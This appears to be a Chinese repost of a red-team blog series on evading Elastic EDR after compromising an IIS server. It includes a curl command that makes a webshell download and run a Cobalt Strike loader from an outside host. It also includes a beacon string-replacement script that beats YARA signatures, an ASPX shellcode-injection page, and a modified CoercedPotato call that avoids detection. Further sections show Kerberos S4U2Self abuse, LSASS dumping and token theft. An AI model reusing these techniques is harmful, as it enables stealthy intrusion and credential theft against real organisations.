绕过Elastic EDR提高你的隐身能力

admin 2024年1月11日14:11:30评论316 views字数 9197阅读30分39秒阅读模式

绕过Elastic EDR提高你的隐身能力

第1部分

在最近的一次评估中,我和我的队友的任务是对多个应用程序进行网络安全审查,如果有机会,还可以进行内部渗透测试。

在其中一个应用程序上,我们成功上传了一个执行Windows cmd的aspx webshell,这种参与并不要求我们保密。

这篇博文的目的是重现我们通过 Elastic EDR 监视我们所做的事情。

Web RCE

我们下载了CobaltStrike加载程序并执行它

curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=powershell wget http://xxxx.com/load.exe -outfile C:WindowsTempload.exe'curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=C:WindowsTempload.exe'
我们找回了信标
绕过Elastic EDR提高你的隐身能力
如果我们查看Elastic EDR中的警报,我们可以发现我们的噪音非常大。
绕过Elastic EDR提高你的隐身能力
  • Web Shell Detection: Script Process Child of Common Web Processes 为IIS进程w3wp.exe产生了cmd.exe

  • Malicious Behavior Detection Alert: Suspicious Microsoft IIS Worker Descendant 为IIS进程的w3wp.exe产生cmd.exe表明Web服务器已被破坏
  • Remote File Download via PowerShell因为wgetPowershell 命令下载我们的加载程序
  • Memory Threat Detection Alert: Windows.Trojan.CobaltStrike 因为Elastic EDR Yara规则在内存中标记了我们的信标
  • Malicious Behavior Detection Alert: Network Module Loaded from Suspicious Unbacked Memory 由于我们的信标存储在无支持的内存中,Elastic EDR捕获了来自此可疑区域的API调用

我们利用的下一步是将我们的权限从本地服务帐户升级到本地管理员。

我们可以通过两种不同的方式来做到这一点:
滥用SeImpersonatePrivilege权限升级到SYSTEM(我们在参与过程中使用了这种方式)滥用KerberosS4U2Self为具有本地管理员权限的域用户生成服务票据

EoP - SeImpersonatePrivilege

我们使用GodPotato来利用SeImpersonatePrivilege

beacon> execute-assembly /home/user/Tools/Windows/GodPotato-NET4.exe -cmd "cmd /c C:WindowsTempload.exe"
我们恢复了系统信标。
绕过Elastic EDR提高你的隐身能力
最后的操作引发了以下警报:
  • Malicious Behavior Detection Alert: Microsoft Common Language Runtime Loaded from Suspicious Memory 因为CLR.dll已被利用后临时进程加载
  • Malicious Behavior Detection Alert: AMSI or WLDP Bypass via Memory Patching CobaltStrike AMSI 补丁已被标记

LSASS dump

获得系统权限后,我们启动内置的mimikatz命令来从LSASS转储凭据。

绕过Elastic EDR提高你的隐身能力

这引起了警报:
  • LSASS Process Access via Windows API

  • Memory Threat Detection Alert: Windows.Hacktool.Mimikatz
  • LSASS Access Attempt from Unbacked Memory
绕过Elastic EDR提高你的隐身能力

结论

正如我们所看到的,在攻击路径的不同阶段有很多机会检测我们的行为:

  • 执行webshell
  • 通过execute- assembly执行.NET程序集

  • LSASS转储

在下一部分中,我将再次完成每个步骤,但要考虑到检测

第2部

回顾
在一次交战中,我和我的队友通过上传Webshell破坏了Windows服务器,然后将我们的权限提升到SYSTEM并提取了存储在LSASS中的凭据。
  • 第1部分中,我在实验室中重演了运行Elastic EDR代理的场景,我们注意到出现了很多检测。
  • 第2部分中,我将展示如何通过使用开源工具和构建我们自己的工具来增强我们的隐形能力。

CobaltStrike修改

为了逃避Elastic EDR yara规则,我遵循了以下Fortra博客文章。
https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature

当您了解Yara规则时,很容易规避它们……可以在此处找到Elastic EDR规则。

https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar

我使用xforcered/BokuLoader(10 月以上版本)来增强Cobalt Strike信标的规避能力。此版本包含调用堆栈欺骗功能,可绕过基于调用堆栈分析的Elastic EDR规则,您可以在这里了解更多信息。

https://github.com/xforcered/BokuLoaderhttps://dtsec.us/2023-09-15-StackSpoofin/

在Cobalt Strike中包含用户定义的反射加载器之后,我对进行了以下更改以bokuloader.cna绕过Elastic EDR yara规则:

sub boku_strrep {  local('$beacon_dll');  $beacon_dll = $1;  $beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "__BokuLo4d3r____");  $beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "13367321236742382543232341241261363163151d");  $beacon_dll = strrep($beacon_dll, "(admin)", "(2omin)");  $beacon_dll = strrep($beacon_dll, "beacon", "b4con5");  $beacon_dll = strrep($beacon_dll, "%s as %s\%s: %d", "%s -> %s\%s: %d");  $beacon_dll = strrep($beacon_dll, "%02d/%02d/%02d %02d:%02d:%02d", "%02d/%02d/%02d>%02d:%02d:%02d");  $beacon_dll = strrep($beacon_dll, "This program cannot be run in DOS mode", "13367321236742383543232341221261363163");  println("DEBUG - change DOS stub");  $beacon_dll = strrep($beacon_dll, "x4Dx5Ax41x52x55x48x89xE5", "x4Dx5Ax41x52x55x48x89xE5x90");  return $beacon_dll;}

此时,Elastic EDR 不应将 Cobalt Strike Reflective DLL 检测为Windows.Trojan.CobaltStrike.

但是,如果检测到恶意行为,Elastic EDR仍会发出警报:

  • 从无支持的内存访问 LSASS 进程
  • 从无支持的内存加载 DLL
  • ……

现在我们有了一个更加隐蔽的信标,我们可以开始攻击Windows服务器了。

Webshell

由于目标是正确访问Windows计算机,因此我将尝试在不执行操作系统命令的情况下获取 CobaltStrike 信标。

为此,我制作了一个C#网页,它将Cobalt Strike信标注入当前IIS进程w3wp.exe

<%@ Page Language="c#"%><%@ Import Namespace="System" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.Threading.Tasks" %><%@ Import Namespace="System.Runtime.InteropServices" %><%@ Import Namespace="System.Collections.Generic" %><%@ Import Namespace="System.Linq" %><%@ Import Namespace="System.Text" %><%@ Import Namespace="System.Runtime.InteropServices" %><script runat="server">    /*      Flags and functions import      ...    */    public string ServerSideFunction()    {        byte[] data = new byte[REPLACE_ME] { REPLACE_ME };        IntPtr pHandle = (IntPtr)(-1);        if (pHandle == IntPtr.Zero)            return "OpenProcess failed " + Marshal.GetLastWin32Error();        IntPtr addr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)data.Length, AllocationType.Commit, AllocationProtect.PAGE_READONLY);        if (addr == IntPtr.Zero)            return "VirtualAllocEx failed";        uint lpflOldProtect = 0;        bool res = false;        res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000004, out lpflOldProtect);        if (res == false)            return "VirtualProtectEx RW failed";        IntPtr sc = Marshal.AllocHGlobal(data.Length);        if (sc == IntPtr.Zero)            return "AllocHGlobal failed";        RtlZeroMemory(sc, data.Length);        UInt32 getsize = 0;        NTSTATUS ntstatus = NtWriteVirtualMemory(pHandle, addr, data, (uint)data.Length, ref getsize);        if (getsize == 0)            return "NtWriteVirtualMemory failed";        res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000020, out lpflOldProtect);        if (res == false)            return "VirtualProtectEx RX failed";        IntPtr Thread_id = IntPtr.Zero;        IntPtr tHandle = CreateRemoteThread(            pHandle,             IntPtr.Zero,             0,             (IntPtr)0xfff,            IntPtr.Zero,             (uint)CreationFlags.CREATE_SUSPENDED,             out Thread_id);        QueueUserAPC(addr, tHandle, 0);        ResumeThread(tHandle);        CloseHandle(pHandle);        CloseHandle(tHandle);  return "OK";    }</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252" /><title>ASP.NET inline</title></head><body><% =ServerSideFunction() %></body></html>

其作用是:

  1. 获取当前进程的句柄

  2. 在进程中分配RW内存
  3. 将信标写入该内存区域
  4. 将内存权限更改为RX
  5. 通过APC调用信标

当页面被调用时,我们得到了信标。

绕过Elastic EDR提高你的隐身能力

在这一步中,我从Elastic EDR获得了零检测。

权限提升

现在我们有一个信标作为本地服务帐户,我们可能想要升级我们的权限以转储一些凭据。

我知道有两种执行权限升级的方法:

SeImpersonateToken利用Potato家族漏洞滥用特权滥用S4U2SelfKerberos代表具有本地管理员权限的域用户伪造服务票据

两种方法都可以使用:

  • Potato利用触发系统调用并模拟本地帐户 - 这可能会被检测到(不知道有些AV/EDR有没有这方面的检测规则 我最近注意到Elastic EDR有这方面的规则)。此方法适用于未加入域和已加入域的Windows计算机。
  • S4USelf方法非常隐蔽,因为它只使用Kerberos,但它在未加入域的计算机中不可用,并且我们可能需要启用PSRemoting/WinRM,因为我们不想使用 psexec/smbexec/wmiexec/…,这会引发安全警报。

实际上,当域控制器上未强制执行LDAP签名(默认配置)时,存在一种通用的权限升级路径,但我稍后将专门撰写一篇博客文章来讨论这一点。

权限升级 - SeImpersonatePrivilege

几个月前,Prepouce/CoercedPotato发布了。CoercedPotato是一个C++程序,与其他Potato漏洞一样,它生成一个命名管道(通过RPC接口)来接收SYSTEM身份验证并模拟它。为了强制进行SYSTEM身份验证,CoercedPotato使用MS-EFSR和MS-RPRN函数。
https://github.com/Prepouce/CoercedPotato

由于我们不想在磁盘上放置和执行任何内容,因此我将CoercedPotato分叉并“转换”为反射DLL,您可以在之前的博客文章中阅读相关内容。

https://github.com/sokaRepo/CoercedPotatoRDLLhttps://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html

当我测试 Reflective DLL 时,我惊讶地发现 Elastic EDR 最近添加了一个恶意行为检测规则,而该规则在一两个月前还不存在…… =)

绕过Elastic EDR提高你的隐身能力

我认为检测可能基于:

  • 使用已知的“恶意”功能CreateProcessAsUser/CreateProcessWithTokenW

  • 行为:作为本地服务运行的进程会生成一个SYSTEM进

如果我们看看CreateProcessAsUserIDA正在做什么:

绕过Elastic EDR提高你的隐身能力

该函数只是将参数转发给CreateProcessInternalWfrom KernelBase.dll,我们可以在CoercedPotatoRDLL代码中使用它:

typedef BOOL(WINAPI* fnCreateProcessInternalW)(  HANDLE,  LPCWSTR,  LPWSTR,  LPSECURITY_ATTRIBUTES,  LPSECURITY_ATTRIBUTES,  BOOL,  DWORD,  LPVOID,  LPCWSTR,  LPSTARTUPINFOW,  LPPROCESS_INFORMATION);fnCreateProcessInternalW CreateProcessInternalW; CreateProcessInternalW = (fnCreateProcessInternalW)GetProcAddress(                    GetModuleHandle(L"kernelbase.dll"),                    "CreateProcessInternalW"                    ); if (!CreateProcessInternalW(hSystemTokenDup,              g_pwszProcessName,              g_pwszCommandLine,              NULL,              NULL,              g_bInteractWithConsole,              dwCreationFlags,              lpEnvironment,              pwszCurrentDirectory,              &si,              &pi))   wprintf(L"CreateProcessInternalW failed, error = %dn", GetLastError());else  wprintf(L"CreateProcessInternalW seems OK");
绕过Elastic EDR提高你的隐身能力

通过这些修改,Elastic EDR不再发出有关权限升级的警报!

绕过Elastic EDR提高你的隐身能力

权限升级 - S4U2Self

另一种方法是滥用Kerberos本身。作为本地服务帐户,当我们在另一台计算机上使用NTLM 或 Kerberos进行身份验证时,将使用计算机帐户WEB1$。因此,可以使用tgtdeleg技巧代表机器帐户请求委派TGT。
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
绕过Elastic EDR提高你的隐身能力

一旦我们有了它,我们就可以滥用Kerberos S4U2Self来请求服务票证,该服务票证模拟具有计算机上本地管理员权限的域用户。

不幸的是,我未能仅使用Cobalt Strike成功执行此步骤,因此我在Linux VM上使用了SOCKS代理和Impacket。

> echo -n 'ticket...' | base64 -d > web1.kirbi> ticketConverter.py web1.kirbi web1.ccache> export KRB5CCACHE=web1.ccache> git clone https://github.com/ThePorgs/impacket/# install it# carreful with SPN name, try lower case and upper case for "HTTP"# I skipped the SOCKS proxy part here> getST.py -self -impersonate "sadmin" -altservice "HTTP/web1.crash.lab" -k -no-pass -dc-ip 10.100.10.5 'crash.lab/web1$'# use this to debug> export KRB5_TRACE=/dev/stdout> export KRB5CCNAME=sadmin@[email protected]# update /etc/krb5.conf if GSS error  > evil-winrm.rb -i web1.crash.lab -r crash.lab
绕过Elastic EDR提高你的隐身能力

并以本地管理员身份弹出一个信标。

绕过Elastic EDR提高你的隐身能力

LSASS 凭证转储

这是棘手的部分......似乎当Credentials hardening启用时,不可能打开LSASS.exe 上的句柄
绕过Elastic EDR提高你的隐身能力

当我们尝试使用内置Mimikatz命令提取凭据时,无法访问该进程。

绕过Elastic EDR提高你的隐身能力

如果我们尝试使用nanodump,我们会遇到相同的访问问题。

https://github.com/fortra/nanodump
绕过Elastic EDR提高你的隐身能力

如果我们关闭Credentials hardening,我们可以成功转储LSASS进程,而不会收到来自Elastic EDR的任何警报。

绕过Elastic EDR提高你的隐身能力

LSASS 转储的替代方案

或者,我们可以枚举LSA中的TGT并寻找任何感兴趣的用户(sadmin在我的实验室中是一个很好的候选者)。

为了执行以下Keberos交互,我使用Kerbeus-BOF,但也可以使用nanorobeus(Kerbeus-BOF实际上基于nanorobeus)。

https://github.com/RalfHacker/Kerbeus-BOFhttps://github.com/wavvs/nanorobeus/
绕过Elastic EDR提高你的隐身能力

这里我们转储属于sadmin用户的所有TGT。

绕过Elastic EDR提高你的隐身能力

如果我们不再有任何有效的TGT,我们可以查找在目标用户下运行的进程。

绕过Elastic EDR提高你的隐身能力

然后窃取其中一个进程的令牌。

绕过Elastic EDR提高你的隐身能力

并用它来请求TGT

绕过Elastic EDR提高你的隐身能力
绕过Elastic EDR提高你的隐身能力

从这里开始,我们可以代表sadmin用户采取行动并尝试在网络中横向移动。

结论

在第二部分中,我们了解了如何通过使用BokuLoader等出色的开源工具来提高隐秘性并防止Elastic EDR发现我们。
为了避免在内存中执行.NET程序集,我们使用了C++工具CoercedPotato并将其修改为反射DLL,以便能够使用Cobalt Strike将其加载到内存中。
对于凭证转储,我们可以使用Fortra的nanodump来转储LSASS进程以避免检测。如果我们想避免接触LSASS,我们将展示如何通过窃取Windows令牌来提取或生成 Kerberos票证。

原文地址:

https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.htmlhttps://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabili

文章来源:潇湘信安

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):绕过Elastic EDR提高你的隐身能力

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日14:11:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过Elastic EDR提高你的隐身能力https://cn-sec.com/archives/2383844.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息